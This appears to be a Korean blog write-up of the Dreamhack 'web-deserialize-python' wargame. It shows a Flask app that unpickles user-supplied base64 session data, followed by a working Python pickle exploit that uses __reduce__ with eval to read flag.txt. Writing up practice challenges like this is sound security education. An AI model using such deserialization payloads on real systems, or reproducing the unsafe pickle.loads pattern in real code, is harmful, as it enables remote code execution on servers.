본문 바로가기
드림핵

[드림핵] web-deserialize-python 풀이

by jwcs 2024. 2. 12.
728x90

https://dreamhack.io/wargame/challenges/40

 

web-deserialize-python

Session Login이 구현된 서비스입니다. Python(pickle)의 Deserialize 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt 또는 FLAG 변수에 있습니다.

dreamhack.io

/
/create_session

create_session이라는 페이지가 있다.

name, userid, password에 각각 a, a, a를 입력했더니 위와 같이 base64 형태의 값이 나왔다.

/check_session

check_session에 이 값을 넣으니 입력한 값이 그대로 출력됐다.

 

#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

INFO = ['name', 'userid', 'password']

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

app.run(host='0.0.0.0', port=8000)

전체 소스 코드다. pickle로 직렬화, 역직렬화를 구현하고 있는데, unpickle시 데이터를 사용자로부터 입력받고 있다. 여기서 취약점이 발생한다.https://jwcs.tistory.com/86

 

[python] pickle 모듈 간단 사용법 및 취약점

https://docs.python.org/ko/3.9/library/pickle.html pickle — 파이썬 객체 직렬화 — Python 3.9.18 문서 pickle — 파이썬 객체 직렬화 소스 코드: Lib/pickle.py pickle 모듈은 파이썬 객체 구조의 직렬화와 역 직렬화를

jwcs.tistory.com

 

import pickle,base64

class exploit():
  def __reduce__(self):
    return (eval,("open('./flag.txt', 'r').read()",))
  
INFO = ['name', 'userid', 'password']
info={}
for _ in INFO:
    info[_] = exploit()
data = base64.b64encode(pickle.dumps(info)).decode('utf8')

print(data)

익스플로잇 코드다. 해석해보자.

 

`__reduce__()`는 호출 가능한 객체와 인자를 반환해야 한다. 호출 가능한 객체에 함수가 들어갈 수 있다. 필자는 eval() 함수를 썼고, 인자로 flag를 가져오도록 했다. 두 번째 인자의 괄호 안에 `,`가 들어간 이유는 반환값이 튜플이어야하기 때문이다. `,`가 없다면 괄호속 문자열이지만 `,`를 붙임으로써 단일값 튜플임을 나타낼 수 있다.

 

서버에서 `name`, `userid`, `password`에 값을 매핑하여 보여주고 있다. 이 틀에 맞춰서 세 값에 다 익스플로잇 코드를 넣어줬다. 이 값을 서버에서 작동하는 것과 같이 pickle로 직렬화한 후, base64로 인코딩해주었다. 이 값을 check_session에 페이지에 넣어보자.

flag

짜잔

728x90
반응형

'드림핵' 카테고리의 다른 글

[wargame.kr] dun worry about the vase 풀이  (1) 2024.02.24
[드림핵][wargame.kr] md5 password 풀이  (0) 2024.02.23
[드림핵] funjs 풀이  (1) 2024.02.11
[드림핵] crawling 풀이  (0) 2024.02.11
[드림핵] weblog-1 풀이  (0) 2024.02.10